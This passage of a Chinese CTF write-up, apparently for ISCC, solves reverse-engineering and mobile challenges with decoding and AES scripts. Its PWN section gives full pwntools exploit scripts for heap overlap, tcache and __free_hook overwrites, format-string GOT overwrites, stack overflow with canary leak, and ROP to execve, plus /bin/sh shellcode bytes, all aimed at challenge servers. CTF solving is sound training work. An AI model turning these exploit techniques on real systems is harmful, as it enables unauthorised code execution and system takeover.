if (lll((key[i]+0xd0)&0xff,0xa) + j +2)&0xff == m[i]:
f += chr(j)
print(f)
break
p = list(f[::-1])
print()
def ppp(num):
a = num&1
return a==0
for i in range(len(p)):
if ord('a')<=ord(p[i])<=ord('z'):
p[i] = chr(ord(p[i])^0x20)
elif ord('A')<=ord(p[i])<=ord('Z'):
p[i] = chr(ord(p[i])^0x20)
elif ord('0') <=ord(p[i])<=ord('9'):
a = ord(p[i]) + 1
b = ord(p[i]) - 1
if ppp(ord(p[i])):
p[i] = chr(a)
else:
p[i] = chr(b)
else:
pass
for i in range(len(p)):
print(p[i],end='')
GetTheTable
采用正确的解密软件就能快速解密
ida x64
打开,直接 F5
查看伪代码
复制出来直接 base58
解密
Bob’s Code
好简单的题目呀!
ida x32
打开,定位到 _main_0
,F5
查看伪代码
说白了就是 换表
import base64
import string
s='W1BqthGbfhpZcbXjWbhLgG5FoZBBYGRVXhXtf1NRoY5ctGG1XXBMVXtwoF0'#去掉三个.
t = ''
for c in s:
if 'a' <= c <= 'z':
t += chr( ord('a') + ((ord(c)-ord('a')) - 2 )%26 )
elif 'A' <= c <= 'Z':
t += chr( ord('A') + ((ord(c)-ord('A')) - 2 )%26 )
else:
t += c
print(t)
t+='='
string1 = "ABCDEfghijklmnopqrsTUVWXYZabcdeFGHIJKLMNOPQRStuvwxyz0123456789-_"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
a=(base64.b64decode(t.translate(str.maketrans(string1,string2))))
print(base64.b64decode(a))
Mobile
MobileA
一道简单的Mobile类型的题目,你能成功闯关吗?
首先用 jadx
打开 apk
文件,定位到 com
> example.mobilea
> MainActivity
把第 72
行的字符串跑一下
a = r'=1PmCCY=gQbcBQlnngbhpEEA'
b = [20, 19, 12, 11, 4, 3, 21, 18, 13, 10, 5, 2, 22, 17, 14, 9, 6, 1, 23, 16, 15, 8, 7, 0]
for i in b:
print(a[i], end='')
然后得到的值 base64
,hex
一下,得到一段md5
解密后得到 flag
的后半部分
第一个箭头加密后是 key
, 第二个箭头加密后是 iv
,前两个箭头指的地方,用 base64
加密,记得是“”
里面的所有内容,然后第三个地方先 base64
解码一次
from Crypto.Cipher import AES
from base64 import b64decode
cipher = AES.new(b'S0BlMjAyMiUleQ==', AES.MODE_CBC, b'SSZWMjAyMioqKg==')
flag = b64decode('OVV3V3pKSHFjdWlYTG83SWlrdytnb3lsYVpnQXVpb3I3ZVhERnd6NGdRST0=')
print(cipher.decrypt(b64decode(flag)))
得到的内容和前面 md5
解密的字符拼接一下即为 flag
。
MobileB
小明在学习过程中突然来了兴致,结合自己学习的知识编写了一个经过加密的app,你能从中找到密匙吗?
得到字符串,填入下面的exp中,
import re
import sys
import math
from ast import Str
def sum(i, i2,i3):
for i4 in range(0,6):
d = i2
d2 = i
d3 = i4
if (d <= pow(2.0, d3) + d2):
if (d != pow(2.0, d3) + d2):
d4 = i4 - 1
return sum((int)(d2 + pow(2.0, d4)), i2, i3 + 1) + ((int)(d4 * pow(10.0, i3)))
elif i4 == 0:
return (int)(pow(10.0, i3) * 5.0)
else:
return (int)(d3 * pow(10.0, i3))
return -1;
def strRe(uStr):
sys.setrecursionlimit(2000000000)
strlist = []
for i1 in range(1, 27):
a = sum(0, i1, 0)
strlist.append(str(a))
ia = uStr
strlist1 = [x for x in ia.split('0') if x != '']
strResult = ''
for i in strlist1:
strResult += chr(strlist.index(i)+65)
return strResult
def soFlag(strResult):
sss='''1:<EWXYZQKLDMNPFGHASTUIJBOCRV<2:<OPQRBXFMNYZGHISCKTUVWAJDEL<3:<IJCDEFQKLUVWAXYZGHMOPBNRST<4:<NOPGZLMAQEFBCHIJKDRSTUVWXY<5:<FAEJKLMZBCQRSDTUNOPGHIVWXY<6:<YZPRBQKLGMNWXASTVHEFIJUOCD<7:<OPQUVRSJDEHWACKTZGMNYIBXFL<8:<VWNRDEFPQSTAXGHLUMOIJCKYZB<9:<EHIGZLMAQRJKDXYFBCNOPUVWST<10:<LMRSAZQEJVWKBCDTUFOPGHIXNY<11:<NWIUOCLGMVHXASTYZJDBQKPREF<12:<KTZUVEHIOPNCBWAYXFDRSJGMQL<
'''
m = strResult
content=re.findall(r'<(.*?)<',sss,re.S)
iv=[0x00000003,0x0000000c,0x00000006,0x00000008,0x00000007,0x00000002,0x00000004,0x0000000B,0x00000001,0x00000005,0x00000009,0x0000000A]
vvv=[]
ans=""
for i in range(12):
index=content[iv[i]-1].index(m[i])
vvv.append(index)
for i in range(0,24):
flag=""
for j in range(12):
flag+=content[iv[j]-1][(vvv[j]+i)%26]
if 'FLAG' in flag:
print(flag)
if __name__ == '__main__':
uStr = '5340512305240513012402051205053014053405120'
a = strRe(uStr)
b = soFlag(a)
然后使用压缩软件打开apk
文件提取 lib\x86_64\libmobileb.so
文件
使用 ida x64
搜索字符串(shift+f12
)找到 十二个 地址相连的 等长字符串 填入上方·的位置。再把上一步得到的字符串填入。运行脚本找到开头为FLAG的字符串,flag就是ISCC(得到的字符串}
MobileC
再 so
文件 getkey
函数断点调试,得到 aes_key
,然后分析 so
文件里的 GetStr
的加密逻辑,爆破就行
八位
一组填到脚本里,爆破的结果 长度最短
的字符串即为flag
import base64
from Crypto.Cipher import AES
enc=[]
import copy
def dfs(s,p):
if p==6:
enc.append(s)
return
for i in range(p,6):
s[i],s[p]=s[p],s[i]
t=copy.deepcopy(s)
dfs(t,p+1)
s[i],s[p]=s[p],s[i]
def fun(s):
s=base64.b64decode(s)
iv = 'i@S&88CcC.'
iv = base64.b64encode(iv.encode())
key = b'QERAPG9dPyZfTC5f'
aes = AES.new(key, AES.MODE_CBC, iv)
print(aes.decrypt(s))
dfs([1,2,3,4,5,6],0)
s='xb6LCvY4 ONK/iar= F4YrvRZ= bWZl2Eu= Fs+fVSe= rtODpbc='.split(' ')
for k in enc:
m=[0]*48
for i in range(6):
for j in range(8):
m[6*j+k[i]-1]=s[i][j]
check=''.join(m)[-5:]
if check=='=====':
fun(''.join(m)[0:44])
PWN
heapheap
遇到不能控制 prev_size
的情况,可以通过 shrink unsorted bin
的方法来将 prev_size
填充成 目标size
,原理是 unsortedbin
合并是有顺序的,合并完会在下个 chunk
的 prev_size
位写入之前的大小,从而在 prev_size
留下 size
,造成 chunk overlap
。这道题我们还需要爆破 4bit
申请到 stdout
去泄露 libc
。
from pwn import *
p = remote("123.57.69.203","5320")
elf = ELF("heapheap")
libc = ELF("./libc-2.27.so")
def dbg():
gdb.attach(p)
pause()
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
hp = 0x2020C0
def add(size,con):
sla("Please input your choice: ",1)
sla("Please input the size:",size)
p.sendafter("Data:",con)
def dele(idx):
sla("Please input your choice: ",2)
sla("Please input the index:",idx)
for i in range(6):
add(0xf8,'a')
add(0xf0,'a')#6
add(0x80,'a')#7
add(0xf0,'a')#8
add(0xf0,'a')#9
for i in range(6):
dele(i)
dele(9)
dele(6)
dele(7)
dele(8)
for i in range(0,7):
add(0xf0,'a')
add(0xf0,'a')#9
add(0x80,'a')#8
add(0xf0,'a')#7
for i in range(0,6):
dele(i)
dele(8)
dele(6)
dele(9)
add(0x88,'a'*0x80+p64(0x190))
dele(7)
for i in range(0,7):
add(0xf0,'a')
dele(0)
add(0xf0,'a')
for i in range(0,7):
dele(i)
add(0x28,'\x60\xe7')
add(0x80,'a')
add(0x80,p64(0xfbad1887)+p64(0)+p64(0)+p64(0)+p8(0x58))
# 0x7ffff79e2000 0x7ffff7dca2a0
libc_base = uu64()-0x3E82A0
lg("libc_base",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
one = libc_base+0x4f432
dele(0)
dele(1)
add(0x20,p64(free_hook))
add(0x20,'a')
add(0x20,p64(one))
dele(7)
p.interactive()
h-o-s
漏洞点如下
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
setvbuf(stdout, 0LL, 2, 0LL);
memset(ptr, 0, sizeof(ptr));
cmd = buf;
while ( 1 )
{
fgets(cmd, 128, stdin);
if ( !strncmp(cmd, "fill", 4uLL) )
{
if ( n > 7 )
{
puts("full-|-enough");
}
else
{
__isoc99_scanf("%d%*c", &size);
v3 = n;
ptr[v3] = (char *)malloc(size); // malloc(-1)返回0,覆盖ptr为0
fgets(ptr[n], size, stdin);
++n;
}
}
else if ( !strncmp(cmd, "get", 3uLL) )
{
if ( n < 0 )
{
puts("empty-nn-empty");
}
else
{
puts(ptr[--n]); // 越界读-1
free(ptr[n]); // free当前堆块
ptr[n] = 0LL;
}
}
else
{
puts("I don't know---");
}
}
}
存在 ptr[-1]
越界,由此可以在 cmd
空间内构造 fakechunk
,而且要保证 puts
后 free
的参数是可以正常 free
掉的。且只能 free
当前 chunk
。
在 cmd
布置 fakechunk
,free
到 unsortedbin
泄露 libc
,再次将 fakechunk
释放到 tcache
,制造 overlap
,然后将freehook
链入 tcache
,打 freehook
为 system
。
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]
io = remote('123.57.69.203',5820 )
# io = remote('127.0.0.1',49161 )
# libc = ELF('./libc-2.31.so')
# io = process('./hos')
libc = ELF('./libc.so.6')
elf = ELF('./hos')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(size,content):
sl('fill')
sl(str(size))
sl(content)
def delete():
sl('get')
buf = 0x6010a0
cmd = 0x601160
add(0x41,'a')#n =0
# add(0x31,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x61)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81) + p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x70)
sl(pay)
sl('get')#n=-1
add(0x81,'a')#n=0
add(0x81,'a')#n=1
add(0x81,'a')#n=2
add(0x81,'a')#n=3
add(0x81,'a')#n=4
add(0x81,'a')#n=5
add(0x81,'a')#n=6
add(0x81,'a')#n=7
delete()
delete()
delete()
delete()
delete()
delete()
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x10)
sl(pay)
add(0x51,p64(buf+0x10) + p64(buf+0x70) + p64(buf+0x10)*2+p64(0x91)+p64(0x31))#n=1
delete()#n=0
sl('get')#n=-1
add(0x51,p64(buf+0x70) + p64(buf+0x10) + p64(buf+0x70)*2+p64(0x91)+p64(0x31))#n=0
sl('get')#n=-1
libcbase = l64() -0x3ebca0
lg('libcbase')
freehook = libcbase + libc.symbols['__free_hook']
lg('freehook')
system = libcbase + libc.symbols['system']
lg('system')
add(0x81,'a')#n=0
pay = 'get'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(0) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = -1
pay = 'fill'.ljust(0x8,'\x00') + p64(0x91)+p64(0)+p64(0xb1)+p64(0)+p64(0xa1)+p64(0)+p64(0x91) + p64(freehook) + p64(0x81)+ p64(0) + p64(0x71)+ p64(0) + p64(0x61) + p64(0) +p64(buf+0x40)
sl(pay)#n = 0
add(0x81,p64(system))
add(0x41,'/bin/sh\x00')
delete()
# dbg()
irt()
create_id
ida x32
打开,定位到 main
函数
简单的格式化字符串漏洞改写全局变量x,从而执行后门函数。
// 在调用时检测到错误的sp值,输出可能是错误的!
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // esi
int v6; // [esp+0h] [ebp-90h] BYREF
int i; // [esp+4h] [ebp-8Ch]
int v8; // [esp+8h] [ebp-88h]
int v9; // [esp+Ch] [ebp-84h]
char format[100]; // [esp+10h] [ebp-80h] BYREF
unsigned int v11; // [esp+74h] [ebp-1Ch]
int *v12; // [esp+80h] [ebp-10h]
v12 = &argc;
v11 = __readgsdword(0x14u);
init();
printf("%p\n", &x);
puts("Guess a integer between 1~20^v^");
puts("You will get the user id after you finish it.");
for ( i = 0; i <= 2; ++i )
{
v3 = time(0);
srand(v3);
v4 = rand() % 10;
v8 = v4 + rand() % 11 + 1;
__isoc99_scanf("%d", &v6);
if ( v8 == v6 )
{
printf("Good!");
putchar(10);
break;
}
puts("incorrect");
}
puts("\nWhat's your name?");
__isoc99_scanf("%s", format);
v9 = rand() % 100 + 10;
puts(byte_804A0A3);
printf("your name is:");
printf(format);
if ( x == 9 )
flag(v12);
else
putchar(10);
printf("your user id is: %d\n", v9);
return 0;
代码这里引用了 flag
文件,很简单的一个输出和 cat flag
_isoc99_scanf
这个地方需要格外注意,在 pust
提示我们需要输入name的时候,我们将内容输出出去。_isoc99_scanf
这里传入参数 a1
和 a2
都是 int
型,返回也是 int
型。
from pwn import *
context.terminal = ['tmux','splitw','-h']
p=remote('123.57.69.203',5310)
# p=process('./attachment-31')
x=int(p.recv(10)[2:],16)
print(hex(x))
p.recvuntil('You will get the user id after you finish it.\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
p.recvuntil('incorrect\n')
p.sendline('9')
# gdb.attach(proc.pidof(p)[0])
p.recvuntil("What's your name?\n")
payload=fmtstr_payload(10, {x:0x9})#11
p.sendline(payload)
p.interactive()
跳一跳
亲爱的CTFers,题目做累了,让我们离开电脑,一起跳一跳~
保护全开的栈溢出,但是只能溢出 0x18
个字节。
正常情况是要栈迁移的,但是这题能获取靶机使用的 libc
版本,并且能够利用 one_gadget
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import os
from pwn import *
from LibcSearcher import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
elf = ELF('./attachment-10')
# context(arch = elf.arch, os = 'linux',log_level = 'debug')
p = remote('123.57.69.203',7020)
payload=flat(['8 '*217,'A'])
se(payload)
ru('\x08'*217)
canary = uu64(rc(7))<<8
stack = uu64(ru('\x7f',drop=False))
info_addr('canary',canary)
info_addr('stack',stack)
payload1 = b'A'*0xD8 + p64(canary)
payload1 += p64(stack) + b'\xA0\x50'
sleep(0.3)
# gdb.attach(p,'b read')
se(payload1)
payload2=flat(['9 '*0xa8,'A'])
sleep(0.3)
se(payload2)
ru('\x09'*0xa8)
libc_leak = uu64(rc(6))
libc_base = libc_leak - 0x81150 - 231
one_gadget = libc_base + 0x4f2c5
info_addr('libc_leak',libc_leak)
info_addr('libc_base',libc_base)
payload = b'A'*0xD8 + p64(canary)
payload += p64(stack) + p64(one_gadget)
sleep(0.3)
se(payload)
p.interactive()
untidy_note
这个笔记本不太好使
增删查改四个功能都有。但是增加的堆块大小受到限制,不能超过 31
字节。
漏洞点存在于 delete
和 edit
功能的函数,存在 UAF
漏洞和 堆溢出
漏洞。
#!/usr/bin/env python2
# -*- coding: utf-8 -*
import re
import os
from this import d
from pwn import *
from LibcSearcher import *
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
elf = ELF('./untidy_note')
# context(arch = elf.arch, os = 'linux',log_level = 'debug',terminal = ['tmux', 'splitw', '-hp','60'])
# p = process('./untidy_note')
# debug()
p = remote('123.57.69.203',7030)
def menu(choice):
sla('Your choose is:',str(choice))
def add(size):
menu(1)
sla('the note size is:',str(size))
def dele(id):
menu(2)
sla('index:',str(id))
def edit(id,size,data):
menu(3)
sla('index:',str(id))
sla('the size is:',str(size))
sea('Content:',data)
def show(id):
menu(4)
sla('index:',str(id))
sla('Welcome to use untidy_note,Your name is:','Coldwinds')
for _ in range(30):
add(0x10)
dele(2)
dele(1)
show(1)
ru('Content:')
heap_addr = uu64(rc(6)) - 0x290
info_addr('Heap',heap_addr)
edit(1,0x10,p64(heap_addr+0x10))
add(0x10)# 28
add(0x10)# 29
edit(29,0x10,p64(0x23333))
edit(2,0x20,p64(0)*3+p32(0x121))
dele(3)
show(3)
ru('Content:')
libc_base = uu64(rc(6)) - 0x3ebca0
info_addr('libc',libc_base)
libc = ELF('./libc-2.27.so')
__free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
dele(4)
dele(5)
edit(5,0x10,p64(__free_hook))
add(0x10)# 27
add(0x10)# 28
edit(28,0x10,p64(system_addr))
edit(11,0x10,'/bin/sh\0')
dele(11)
p.interactive()
sim_treasure
格式化字符串漏洞挟持,通过 printf
幻术的 got
表,改换 system
,将下一次程序调用printf
的时候传入 ’/bin/sh’
即可 GetShell
。
from pwn import *
context.log_level='debug'
io=remote("123.57.69.203",7010)
elf = ELF("./sp1")
libc = ELF("./libc-2.27.so")
puts_got = elf.got['puts']
io.recvuntil("Can you find the magic word?\n")
pay = p32(elf.got["puts"])+b"%6$s"
io.sendline(pay)
io.recv(4)
puts_addr = u32(io.recv(4))
printf_got = elf.got['printf']
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
io.sendline("A")
payload1 = fmtstr_payload(6, {printf_got: system_addr})
io.recvuntil("A\n")
io.sendline(payload1)
io.sendline("/bin/sh")
io.interactive();
unlink
主函数里面给了个后门
void __cdecl sh(char *c)
{
system(c);
}
这题就是一个很简单的 堆溢出漏洞
结合 tcache attack
,将包含 cmd
的 fake_chunk
链入 tcache bins
,从而将 cmd
这个指针改为指向 free@got
,进而而改写 got
表。
# coding=utf-8
# *- coding:utf-8 -*-
# from pwn_debug import *
from struct import pack
from pwn import *
import sys;import time;import os
# from LibcSearcher import *
# 设置timeout;sh.timeout = 0.1
context(os="linux", arch="amd64", log_level="debug")
# context(os="linux",arch="i386",log_level="debug")
# context.terminal = ["tmux", "splitw", "-h"] ; context.arch = "amd64" ;
context.log_level="debug" # 暂无这个
# tmux 换到4.7以上再说
filename = "attachment-38"
libcpath = ""
sh = 0
lib = 0
elf = ELF(filename) # local长
local_libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #
# remote_buu_libc = ELF("/home/rencvn/Desktop/install/libc-2.27.so",checksec =False)
# libc = ELF("/home/rencvn/Desktop/BUU/Glibc/Ubuntu18_GLIBC_2.27-3ubuntu1/64/libc-2.27.so")
u16_local_one = [0x45216,0x4526a,0xf02a4,0xf1147] # one_gadget (-l2)/lib/x86_64-linux-gnu/libc.so.6 giantbranch 2.23-0ubuntu10
u18_local_one = [0x4f2a5,0x4f302,0x10a2fc] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Rencvn 2.27-3ubuntu1.5
u20_local_one = [0xe3b2e,0xe3b31,0xe3b34] # one_gadget (-l2) /lib/x86_64-linuxgnu/libc.so.6 Ln-Pwn 2.31-0ubuntu9.7
""" """
l64 = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(sh.recvuntil("\x7f")[-4:].ljust(4,"\x00"))
#bytes ==> int
#常用于调用了ROP输出类函数后,接受并转化为int类型
# uxx( ru("\x7f")[-6:].ljust(8,"\x00") )
leak= lambda name,data :sh.success(name + ": 0x%x" % data)
s = lambda payload :sh.send( payload)
sa = lambda a,b :sh.sendafter(str(a),str(b))
sl = lambda payload :sh.sendline(payload )
sla = lambda a,b :sh.sendlineafter(str (a),str(b))
ru = lambda a :sh.recvuntil(str(a))
r = lambda numb=4096 :sh.recv(numb)
# https://www.yuque.com/squirre17/qqf7/wbeago #5b71964e
rl = lambda :sh.recvline()
uu32= lambda data :u32(data.ljust(4, b'\x00'))
uu64= lambda data :u64(data.ljust(8, b'\x00'))
# https://blog.cc arol2358/article/details/106262701
info_addr = lambda tag, addr :sh.info(tag + ': {:#x}'. format(addr))
check = lambda data :"data=",data,"|*|","type=>",type(data)
# 这里使用print会报错
# 交互时
# py2 <==> str = bytes
#addr=int(sh.recvuntil('\n',drop=True),base=16)
def add(index,size,data):
success("########->add<-########")
sl("add") # fgets
sla("Index: ",str(index))
sla("Size: ",str(size)) # scanf
sa("Data: ",data+"\n") # gets
def delete(index):
success("########->delete<-########")
sl("remove") # fgets
sla("Index: ",str(index)) # scanf
sys = 0x400896
#sh = process("./unlink")
sh = remote("123.57.69.203",5810)
#gdb.attach(sh,"b *0x400A78")
# malloc #
#gdb.attach(sh,"b *0x4009BD\n"+"b *0x400A8A\n"+"c\n"*(24) )
add(0,0x410,"aaaa")#fake_chunk)#0
add(1,0xe8,"bbbb")#1
add(2,0x4f0,"cccc")#2
add(3,0x60,"/bin/sh\x00dddd")#3
add(4,0x60,"/bin/sh\x00eeee")#4
delete(0)
#pause()
delete(1)
for i in range(6):
add(1,0xe8-i,"b"*(0xe8-i))
delete(1)
add(1,0xe8,"b"*0xe0+p64(0x510).decode('unicode_escape'))#1
delete(2) #合并chunk2+chunk1+chunk0
success("合并chunk")
delete(1)
fgets_got = elf.got["fgets"]#0x601050
free_got = elf.got["free"]#0x601018
system_plt = elf.plt["system"];system_got = elf.got["system"]
puts_plt = elf.plt["puts"]
add(0,0x10+0x410+0xe8,0x410*"a"+p64(0x420).decode('unicode_escape')+p64(0xf0).decode('unicode_escape')+p64(free_got).decode('unicode_escape'))#chunk0 + chunk1
add(5,0xe0,"/bin/sh\x00ffff")
add(6,0xe0,3*p64(system_plt+6).decode('unicode_escape'))
#add(6,0xe0,2*p64(0x400706)) #xxx
#add(6,0xe0,2*p64(sys))
raw_input()
sl("/bin/sh\x00")
#delete(5)
sh.interactive()
Huge_Space
开始 gets(magic)
有 栈溢出
、add
功能有 堆溢出
,可申请任意大小的 chunk
,cmd
命令可 输入
数据 过多
。程序只有 add
和print函数( size
可控,可 泄露
地址),还有一个后门 sh:system(buf)
通过 溢出栈
,布置栈迁移 rop
,然后 堆溢出
覆盖 topchunk
,free
到 unsortedbin
,申请出来泄露 libc
,然后申请大内存,溢出覆盖 tls
结构的 canary
输入 cmd
,在 cmd
后面构造调用 execve
的 rop
,exit
返回到 main
函数,绕过canary
,栈迁移到 bss
,调用 ececve
# -*- coding: UTF-8 -*-
from pwn import *
context.log_level = 'debug'
context.terminal = ["/bin/tmux","sp","-h"]
io = remote('123.57.69.203',5330 )
# libc = ELF('./libc-2.31.so')
# io = process('./Huge_Space')
libc = ELF('./libc.so.6')
elf = ELF('./Huge_Space')
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
rl = lambda a=False : io.recvline(a)
ru = lambda a,b=True : io.recvuntil(a,b)
rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
ur64 = lambda data : u64(data.rjust(8, '\x00'))
def add(idx,size,content):
sl('+++')
sla('Index:',str(idx))
sla('Size: ',str(size))
sla('Data: ',content)
def show(idx,size):
sl('print')
sla('Index:',str(idx))
sla('Size: ',str(size))
pop_rdi = 0x0000000000400be3
pop_rsi_r15 = 0x0000000000400be1
pop_rdx = 0x0000000000001b96
pop_rbp = 0x0000000000400860
leaveret = 0x40090F
sh = 0x400909
writee = 0x400B19
# dbg()
sl('\x00'*(8*9)+p64(pop_rbp)+p64(0x6010c0+0x10)+p64(leaveret))
add(0,0x10,'A'*0x10+p64(0)+p64(0xd81))#0
add(1,0x1000,'B')#1
add(1,0xd50,'')#1
# add(2,0x1fa0,'')#2
show(1,0x20)
# show(2,0x20)
# irt()
libcbase = l64() - 0x3ebc00
lg('libcbase')
execve = libcbase + libc.symbols['execve']
lg('execve')
sl('666')
# dbg()
add(3,0x22000,'\x00'*(0x24518+16*8)+'\x00'*8)#3 local 0x24828 8273
sl('exit\x00\x00\x00\x00/bin/sh\x00'+p64(pop_rdi)*2+p64(0x6010c0+8)+p64(pop_rsi_r15)+p64(0)*2+p64(pop_rdx+libcbase)+p64(0)+p64(execve))
irt()